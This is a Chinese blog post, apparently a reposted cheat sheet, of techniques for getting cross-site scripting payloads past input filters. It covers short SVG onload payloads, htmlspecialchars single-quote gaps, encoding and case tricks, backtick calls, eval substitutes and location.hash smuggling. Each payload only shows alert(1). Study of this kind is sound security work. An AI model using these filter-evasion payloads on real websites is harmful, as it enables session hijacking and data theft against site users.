zoukankan      html  css  js  c++  java
  • xssbypass小记

    简单整理下bypass的一些点

    标签外

    如果是标签之外 又有htmlspecialchars函数的点 就别想了

    在标签外同时能xss但是有长度限制 

    如果是储存型可以利用多个点 然后构造<script>标签 在中间利用/**/注释掉html代码 一点一点的组合payload

    除此以外<svg/onload=alert(1)>应该是比较短的payload了

    标签内

    标签内 有htmlspecialchars函数的点 就看属性包裹是不是用单引号  htmlspecialchars函数默认不过滤单引号

    也可以考虑html的十进制编码和十六进制编码

    JavaScript中

    一般输出在js之中 首先就是闭合之前的单引号或者双引号

    有过滤 想到大小写和编码

    关于编码 这篇文章讲的比较好http://cb.drops.wiki/drops/tips-689.html

    js是大小写敏感的  但是html是大小写不敏感的

    例如对正则式对事件on过滤 又没有加i   是可以用On绕过

    然后考虑js的八进制和十进制 还有unicode

    如果过滤了()  可以用·代替 alert() 和alert``效果是一样的

    如果过滤了eval()  可以用时钟函数替代  setTtimeout(),setInterval()

      还有匿名函数  Function(location.hash.slice(1))(1) 然后配合锚点后的输入

    如果过滤了alert ,document等敏感的字符串  可以配合锚点利用location.hash

      location.hash #alert(1)

      相似的<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)

    还有一个姿势利用注释也能完成 

      <svg/onload=location='javascript:/*'+location.hash> #*/alert(1)

    在url中的<svg/onload=location="javascript:"+innerHTML+location.hash>"  #"-alert(1)

      据说也能弹  不过我没试过

    有多个参数 在过滤双引号但是反斜杠存活的时候

      可以利用反斜杠直接闭合中间的双引号 再注释后面的双引号

      location.href="........."+"&a=1"+"&b=xss//"+"&c=";

    <svg><script>alert&#40;1)</script>
      svg向量里面的script将其作为xml解析
      &#40; &lpar; &#x28;即被解析为(
     
    callback函数里的值如果无法控制 可以尝试在后面再加一个callback 试试变量覆盖
     
  • 相关阅读:
    20145201 《Java程序设计》第四周学习总结
    20145201 《Java程序设计》第三周学习总结
    20145201 《Java程序设计》第二周学习总结
    20145201 《Java程序设计》第一周学习总结(修改)
    输入与输出
    Fibonacci
    Collection与Map
    异常处理
    接口和多态
    继承与多态
  • 原文地址:https://www.cnblogs.com/slpawn/p/8630740.html
Copyright © 2011-2022 走看看